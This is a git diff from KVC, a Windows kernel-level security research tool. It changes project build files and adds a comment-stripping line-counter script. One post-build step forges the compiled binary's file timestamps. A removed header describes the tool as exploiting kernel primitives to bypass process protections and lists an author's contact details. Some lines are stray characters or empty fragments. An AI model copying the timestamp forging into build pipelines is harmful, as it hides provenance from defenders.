zDCe6l^yOT&DKTv$dz6I~^zm(W+J%jS`f+93?%caIjsLRIj@(yQ?b5F9s}q+{ua^dA Lo|o^pRMYZbwMZ!I diff --git a/kvc/kvc_crypt.vcxproj b/kvc/kvc_crypt.vcxproj index 05a31f3..2b2e07f 100644 --- a/kvc/kvc_crypt.vcxproj +++ b/kvc/kvc_crypt.vcxproj @@ -64,25 +64,28 @@ powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" - 0x0409 - + + + + - + + + + - - diff --git a/kvc/kvc_crypt.vcxproj.user b/kvc/kvc_crypt.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/kvc_crypt.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/kvc_pass.vcxproj b/kvc/kvc_pass.vcxproj index e41179b..1a1b21e 100644 --- a/kvc/kvc_pass.vcxproj +++ b/kvc/kvc_pass.vcxproj @@ -65,18 +65,26 @@ - + + + + + + + + + + - diff --git a/kvc/licznik.py b/kvc/licznik.py new file mode 100644 index 0000000..77d5317 --- /dev/null +++ b/kvc/licznik.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python3 +import os +import sys + +EXTS = {'.cpp', '.h', '.asm'} + +def strip_c_style_comments(src: str) -> str: + out = [] + i = 0 + n = len(src) + in_block = False + in_line = False + in_double = False + in_single = False + escape = False + while i < n: + ch = src[i] + nxt = src[i+1] if i+1 < n else '' + if in_block: + if ch == '*' and nxt == '/': + in_block = False + i += 2 + continue + else: + i += 1 + continue + if in_line: + if ch == '\n': + in_line = False + out.append(ch) + i += 1 + continue + if not in_double and not in_single: + if ch == '/' and nxt == '*': + in_block = True + i += 2 + continue + if ch == '/' and nxt == '/': + in_line = True + i += 2 + continue + # handle string/char quoting and escapes + if ch == '"' and not in_single: + if not escape: + in_double = not in_double + elif ch == "'" and not in_double: + if not escape: + in_single = not in_single + if ch == '\\' and (in_double or in_single): + escape = not escape + else: + escape = False + out.append(ch) + i += 1 + return ''.join(out) + +def strip_asm_comments(src: str) -> str: + out_lines = [] + in_double = False + in_single = False + for line in src.splitlines(True): + res = [] + escape = False + for i,ch in enumerate(line): + if ch == '"' and not in_single: + if not escape: + in_double = not in_double + elif ch == "'" and not in_double: + if not escape: + in_single = not in_single + if (not in_double and not in_single) and (ch == ';' or ch == '#'): + # drop remainder of line + break + res.append(ch) + if ch == '\\': + escape = not escape + else: + escape = False + out_lines.append(''.join(res)) + # reset string state per line for typical asm; if you want to preserve multi-line strings, remove the next two lines + in_double = False + in_single = False + return ''.join(out_lines) + +def strip_comments_by_ext(path, text): + ext = os.path.splitext(path)[1].lower() + if ext in ('.cpp', '.h'): + # first remove C-style comments preserving strings + return strip_c_style_comments(text) + elif ext == '.asm': + # remove common asm line comments ; and # + # also remove C-style block comments if present + t = strip_c_style_comments(text) + return strip_asm_comments(t) + else: + return text + +total = 0 +per_file = [] + +for root, dirs, files in os.walk('.'): + for name in files: + ext = os.path.splitext(name)[1].lower() + if ext in EXTS: + full = os.path.join(root, name) + try: + with open(full, 'r', encoding='utf-8', errors='replace') as f: + src = f.read() + except Exception as e: + print(f"Could not read {full}: {e}", file=sys.stderr) + continue + cleaned = strip_comments_by_ext(full, src) + # count non-empty lines after stripping comments and trimming whitespace + count = sum(1 for line in cleaned.splitlines() if line.strip() != '') + per_file.append((full, count)) + total += count + +# print per-file and total +for fn, c in per_file: + print(f"{fn}: {c}") +print(f"\nTotal (non-empty, comments removed): {total}") diff --git a/kvc/syscalls.cpp b/kvc/syscalls.cpp index 41324a0..e97d91a 100644 --- a/kvc/syscalls.cpp +++ b/kvc/syscalls.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // syscalls.cpp #include "syscalls.h" #include